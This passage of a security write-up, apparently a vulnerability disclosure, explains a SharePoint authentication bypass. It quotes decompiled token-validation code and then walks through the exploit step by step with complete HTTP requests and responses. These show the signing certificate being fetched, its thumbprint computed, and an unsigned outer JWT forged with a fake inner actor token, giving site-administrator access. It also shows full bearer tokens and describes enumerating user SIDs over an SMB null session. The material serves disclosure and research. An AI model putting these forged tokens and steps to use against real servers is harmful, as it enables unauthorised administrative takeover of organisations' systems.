// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
	SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
	string rawData = ((JwtSecurityToken)jwtToken).RawData;
	if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
	{
		ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	string text = ((JwtSecurityToken)jwtToken).RawSignature;
	if (string.IsNullOrWhiteSpace(text))
	{
		text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
	}
	if (string.IsNullOrWhiteSpace(text))
	{
		if (jwtToken.ActorToken != null)
		{
			text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.Append(jwtToken.Audience);
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
			stringBuilder.Append(',');
			foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
			{
				stringBuilder.Append(claim.Value);
				stringBuilder.Append(',');
			}
			return stringBuilder?.ToString() + text; // <--- [3]
		}
		ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	return text;
}

For the outer token with alg: none, RawSignature is empty (the JWT format is header.payload. with nothing after the final dot). At [1], extracting after the last dot yields an empty string. At [2], the method recurses into the actor token. The actor token's signature is AAAA, a non-empty string, so at [3] it returns "AAAA" without any cryptographic verification that this value is a valid RSA signature.

Summary

The four weaknesses combine as follows:

Attacker sends a JWT with alg: none in the outer header, so no signature is required in the outer token.
The actor token's x5t header contains SharePoint's own STS certificate thumbprint, allowing us to resolve a signing key with no verification.
The resolved certificate is not in TrustedSecurityTokenServices, allowing the issuer to be accepted.
The actor token's signature is a non-empty value, e.g. AAAA, which is never verified.

After validation, the outer token's nameid claim, containing either an attacker controlled Windows Security Identifier (SID) or an attacker controlled User Principal Name (UPN), is resolved to a user identity via SPIncomingServerToServerProtocolIdentityHandlerV2.ValidateAndEnsureIdentity(). Alternatively a name id of 0#.w|nt authority\local service can be used to identify as a known local service, through an AccessToken identifier. Our testing showed identifying as a local service exposed less authenticated attack service than identifying via either a SID or UPN.

Our PoC script shows examples of all three mechanisms working.

Walkthrough

We can see a concrete example of the bypass in action by inspecting the HTTP requests required to achieve the authentication bypass.

In order to know the x5t value to use in the inner actortoken token, we must first retrieve the x509 certificate of the STS signing certificate from the target SharePoint site. We can do this via an unauthenticated request to the /_layouts/15/metadata/json/1 URI. For example:

GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*

Which returns the STS signing certificate as part of the response:

HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
request-id: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"issuer":"00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde","keys":[{"keyValue":{"type":"x509certificate","value":"MIIEhzCCAm+gAwIBAgIQbgEQC4zI97pMh7WkdsMmtTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSIwIAYDVQQDExlTaGFyZVBvaW50IFJvb3QgQXV0aG9yaXR5MCAXDTI2MDMxMTIwMjY1M1oYDzk5OTkwMTAxMDAwMDAwWjBiMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSowKAYDVQQDEyFTaGFyZVBvaW50IFNlY3VyaXR5IFRva2VuIFNlcnZpY2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY8RNv0VUdgmBubMAHYBI8nu1pWUwUDJywDIwKxgoLuu26Wd6tTMnk5Fb7kYVT+gw+wdW80DeOU\/9lAySKat+FESEuwoUKbJP1Kk6vbuvWyYofz91i9oCXXzqAR1AwNsMGr1nAszVRbPaTrcidomvT2DzQ4YBW2IGtDJEpXIcSrN4T5B4bNH+2rXk11vZHG7c31Y\/VuAwybLGndwSYoiT8aTOgnHsEB9jqZjipkinwnowhk1d6LsPawm6X+y8z7SqkVgMdqKVB5gAMECUedv0qGd2+AW\/2j8Dbk3NNW3XddCBye2wQP0GeioQjcveDK4U0n+3qJjOwG0Y4\/7Jex\/IVAgMBAAGjPzA9MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQsFAAOCAgEAPXw7TdU6U9ij28uirUm4oQk6Qtdx42G8JNkz44oF4s1ifaODLKqgXCViHRo0bJj3KAz1aSWUdld\/wrOw99tbxPme9sd8ilHN61fKjUPzl7NMyA85895FnA5J62sKcPjmusDHD1WjSYA+y47L\/I3qlUCL9nOPhqjHN4bEQYJV7c9X+9lmnK1QBmqtjQ+Dy8tie6B9XKvSZgb8clVc7pXeG3k4eqNqi8AtgLoW6UmT\/7tXzqotC9oyBmeA3Ucaj99HJ\/4zBN7cOjIL78xNYds8DIVEqGqZFL30uOvJnEecAmtHbMg5yX2oO0p11PSM+JVIiC7gWClfaZ0Ta0tLG5VdmX0wfzmxS+jBEFqvFUA3BFuClQeamKdvIBE7cFXG\/MujpCboiLP0qdZUhGUduFiy94vH0oxKQFZVLT62T4cNbMu0WGGOY67N8p9UKzUvLVis0FnR1nQvy4SJSdt4kBzUUA42z70v\/ACpzHLXsETil+MnGbTXMfEGVzl+s2+9Su4OpTtDe8AIMdDPoH8uaHklLF65FUPKa+aHGlTB9VPyYySC++PCIPIra\/uxjb21V+GBPU8YgbFsOiCNF36AcGakskieghg97EBHumzQuoPnnvCkkRr2\/xU59Yxw01eS42pfVNeJlXDGKwEtAiN1Fwkay2Ji7dq\/wXtFy5OsVBlerec="},"usage":"Signing"}],"name":"00000003-0000-0ff1-ce00-000000000000","serviceName":"00000003-0000-0ff1-ce00-000000000000"}

For completeness, the parsed x509 certificate is shown below.

Version:          3 (0x02)
Serial number:    146220597266833583330723281767636346549 (0x6e01100b8cc8f7ba4c87b5a476c326b5)
Algorithm ID:     SHA256withRSA
Validity
  Not Before:     11/03/2026 20:26:53 (dd-mm-yyyy hh:mm:ss) (260311202653Z)
  Not After:      01/01/9999 00:00:00 (dd-mm-yyyy hh:mm:ss) (99990101000000Z)
Issuer
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Root Authority
Subject
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Security Token Service
Fingerprints
  MD5:            8c72ddcf6fdf2bdf3cc173bfcff88bf4
  SHA1:           8bf833e6a7d8a7960f5802b5fffd188599e2a4b2
  SHA256:         9d8a6b787ca17ba72b44200d20d689fae33d13fb57fb166563d11e98d247068c
Public Key
  Algorithm:      RSA
  Length:         2048 bits
  Modulus:        d8:f1:13:6f:d1:55:1d:82:60:6e:6c:c0:07:60:12:3c:
                  9e:ed:69:59:4c:14:0c:9c:b0:0c:8c:0a:c6:0a:0b:ba:
                  ed:ba:59:de:ad:4c:c9:e4:e4:56:fb:91:85:53:fa:0c:
                  3e:c1:d5:bc:d0:37:8e:53:ff:65:03:24:8a:6a:df:85:
                  11:21:2e:c2:85:0a:6c:93:f5:2a:4e:af:6e:eb:d6:c9:
                  8a:1f:cf:dd:62:f6:80:97:5f:3a:80:47:50:30:36:c3:
                  06:af:59:c0:b3:35:51:6c:f6:93:ad:c8:9d:a2:6b:d3:
                  d8:3c:d0:e1:80:56:d8:81:ad:0c:91:29:5c:87:12:ac:
                  de:13:e4:1e:1b:34:7f:b6:ad:79:35:d6:f6:47:1b:b7:
                  37:d5:8f:d5:b8:0c:32:6c:b1:a7:77:04:98:a2:24:fc:
                  69:33:a0:9c:7b:04:07:d8:ea:66:38:a9:92:29:f0:9e:
                  8c:21:93:57:7a:2e:c3:da:c2:6e:97:fb:2f:33:ed:2a:
                  a4:56:03:1d:a8:a5:41:e6:00:0c:10:25:1e:76:fd:2a:
                  19:dd:be:01:6f:f6:8f:c0:db:93:73:4d:5b:75:dd:74:
                  20:72:7b:6c:10:3f:41:9e:8a:84:23:72:f7:83:2b:85:
                  34:9f:ed:ea:26:33:b0:1b:46:38:ff:b2:5e:c7:f2:15
  Exponent:       65537 (0x10001)
Certificate Signature
  Algorithm:      SHA256withRSA
  Signature:      3d:7c:3b:4d:d5:3a:53:d8:a3:db:cb:a2:ad:49:b8:a1:
                  09:3a:42:d7:71:e3:61:bc:24:d9:33:e3:8a:05:e2:cd:
                  62:7d:a3:83:2c:aa:a0:5c:25:62:1d:1a:34:6c:98:f7:
                  28:0c:f5:69:25:94:76:57:7f:c2:b3:b0:f7:db:5b:c4:
                  f9:9e:f6:c7:7c:8a:51:cd:eb:57:ca:8d:43:f3:97:b3:
                  4c:c8:0f:39:f3:de:45:9c:0e:49:eb:6b:0a:70:f8:e6:
                  ba:c0:c7:0f:55:a3:49:80:3e:cb:8e:cb:fc:8d:ea:95:
                  40:8b:f6:73:8f:86:a8:c7:37:86:c4:41:82:55:ed:cf:
                  57:fb:d9:66:9c:ad:50:06:6a:ad:8d:0f:83:cb:cb:62:
                  7b:a0:7d:5c:ab:d2:66:06:fc:72:55:5c:ee:95:de:1b:
                  79:38:7a:a3:6a:8b:c0:2d:80:ba:16:e9:49:93:ff:bb:
                  57:ce:aa:2d:0b:da:32:06:67:80:dd:47:1a:8f:df:47:
                  27:fe:33:04:de:dc:3a:32:0b:ef:cc:4d:61:db:3c:0c:
                  85:44:a8:6a:99:14:bd:f4:b8:eb:c9:9c:47:9c:02:6b:
                  47:6c:c8:39:c9:7d:a8:3b:4a:75:d4:f4:8c:f8:95:48:
                  88:2e:e0:58:29:5f:69:9d:13:6b:4b:4b:1b:95:5d:99:
                  7d:30:7f:39:b1:4b:e8:c1:10:5a:af:15:40:37:04:5b:
                  82:95:07:9a:98:a7:6f:20:11:3b:70:55:c6:fc:cb:a3:
                  a4:26:e8:88:b3:f4:a9:d6:54:84:65:1d:b8:58:b2:f7:
                  8b:c7:d2:8c:4a:40:56:55:2d:3e:b6:4f:87:0d:6c:cb:
                  b4:58:61:8e:63:ae:cd:f2:9f:54:2b:35:2f:2d:58:ac:
                  d0:59:d1:d6:74:2f:cb:84:89:49:db:78:90:1c:d4:50:
                  0e:36:cf:bd:2f:fc:00:a9:cc:72:d7:b0:44:e2:97:e3:
                  27:19:b4:d7:31:f1:06:57:39:7e:b3:6f:bd:4a:ee:0e:
                  a5:3b:43:7b:c0:08:31:d0:cf:a0:7f:2e:68:79:25:2c:
                  5e:b9:15:43:ca:6b:e6:87:1a:54:c1:f5:53:f2:63:24:
                  82:fb:e3:c2:20:f2:2b:6b:fb:b1:8d:bd:b5:57:e1:81:
                  3d:4f:18:81:b1:6c:3a:20:8d:17:7e:80:70:66:a4:b2:
                  48:9e:82:18:3d:ec:40:47:ba:6c:d0:ba:83:e7:9e:f0:
                  a4:91:1a:f6:ff:15:39:f5:8c:70:d3:57:92:e3:6a:5f:
                  54:d7:89:95:70:c6:2b:01:2d:02:23:75:17:09:1a:cb:
                  62:62:ed:da:bf:c1:7b:45:cb:93:ac:54:19:5e:ad:e7

Extensions
  keyUsage CRITICAL:
    digitalSignature,keyEncipherment
  extKeyUsage :
    serverAuth, clientAuth
  basicConstraints CRITICAL:
    {}

Using the above x509 certificate, we can compute the x5t by base64 decoding the entire x509 certificate, computing the SHA1 digest value, then base64 encoding that raw digest value. In our example we get an x5t value of i_gz5qfYp5YPWAK1__0YhZnipLI. We can also see we discover the target realm (af90cc03-4a26-45e9-906a-609cebcebbde) which we will use later in the forged JWT.

We then begin to construct the malicious JWT. The outer token will have a header of:

{"alg": "none", "typ": "JWT"}

The payload is shown below. The audience (aud) claim contains the target systems hostname (win-b0i6kv698ls) and realm. The issuer (iss) claim is 00000003-0000-0ff1-ce00-000000000000 which is the well known SharePoint principal application ID. The Name ID (nameid) represent the SharePoint user we will identify as, in our example we use a SID of S-1-5-21-4203888158-2793536450-3921675298-500 which represent the domain admin that we want to authenticate as using the urn:office:idp:activedirectory identity provider. Finally an inner actortoken token is base64 encoded.

As an aside, we discover the target SID to use by first contacting the target SharePoint servers domain controller over SMB. We can use an SMB NULL session to query the LSARPC named pipe and learn the domain's Domain ID value. Then by appending Relative Identifier (RID) values (e.g. 500, 1000, 1001, 1002, ...) to the Domain ID, we can construct potential user SIDs to authenticate as. By repeating this process we iterate over all users and discover which ones are valid site user administrators. It is worth pointing out that the forged JWT does not solely require a Windows SID, and we can also identify a user via a User Principal Name (UPN), e.g. administrator@domain.local or similar. However, discovering a valid SID is more reliable in an automated scenario (assuming you can access the domain controller) than brute forcing potential UPN's, which is best suited to manual reconnaissance.

{
  "aud": "00000003-0000-0ff1-ce00-000000000000/win-b0i6kv698ls@af90cc03-4a26-45e9-906a-609cebcebbde",
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572,
  "nameid": "S-1-5-21-4203888158-2793536450-3921675298-500",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "eyJhbGciOiAiUlMyNTYiLCAidHlwIjogIkpXVCIsICJ4NXQiOiAiaV9nejVxZllwNVlQV0FLMV9fMFloWm5pcExJIn0.eyJpc3MiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYW1laWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYmYiOiAxNzc2NzY1NjcyLCAiZXhwIjogMTc3Njc2OTU3Mn0.AAAA"
}

Inspecting the inner actortoken token, it will have a header as shown below, which includes the x5t value i_gz5qfYp5YPWAK1__0YhZnipLI corresponding to the SharePoint server's STS signing certificate.

{"alg": "RS256", "typ": "JWT", "x5t": "i_gz5qfYp5YPWAK1__0YhZnipLI"}

The inner actortoken token will have a payload as shown below. Note the nameid of this token is the same as the issuer of the STS certificate, this allows a call to SPJsonWebSecurityBaseTokenHandlerV2.ValidateActorIsSelfIssuer to succeed.

{
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572
}

And a signature which is an arbitrary non-empty string:

AAAA

Constructing the above JWT, we can base64 encode it as a bearer token and make a request to an authenticated endpoint, such as /_api/web/currentuser and prove we are authenticating as a SharePoint user.

GET /_api/web/currentuser HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose

The following response shows this has worked, and the user we identified as is in fact a SharePoint site administrator (The returned IsSiteAdmin value is true).

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 12
SPRequestDuration: 83
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
request-id: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","type":"SP.User"},"Alerts":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Alerts"}},"Groups":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Groups"}},"Id":1073741823,"IsHiddenInUI":false,"LoginName":"SHAREPOINT\\system","Title":"System Account","PrincipalType":1,"Email":"","IsEmailAuthenticationGuestUser":false,"IsShareByEmailGuestUser":false,"IsSiteAdmin":true,"UserId":{"__metadata":{"type":"SP.UserIdInfo"},"NameId":"S-1-0-0","NameIdIssuer":"urn:office:idp:activedirectory"}}}

To begin to interact with the target SharePoint site as this user we can acquire a new form digest value via a POST request to the /_api/contextinfo endpoint.

POST /_api/contextinfo HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json
Content-Length: 0

Whose response contains a new FormDigestValue we can begin to use.

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=minimalmetadata;streaming=true;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 4
SPRequestDuration: 17
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
request-id: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"odata.metadata":"https://win-b0i6kv698ls/_api/$metadata#SP.ContextWebInformation","FormDigestTimeoutSeconds":1800,"FormDigestValue":"0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000","LibraryVersion":"16.0.19725.20210","SiteFullUrl":"https://win-b0i6kv698ls","SupportedSchemaVersions":["14.0.0.0","15.0.0.0"],"WebFullUrl":"https://win-b0i6kv698ls"}

With authentication bypassed, and with a valid form digest, the remote attacker can begin to interact with the authenticated attack surface of the target SharePoint site.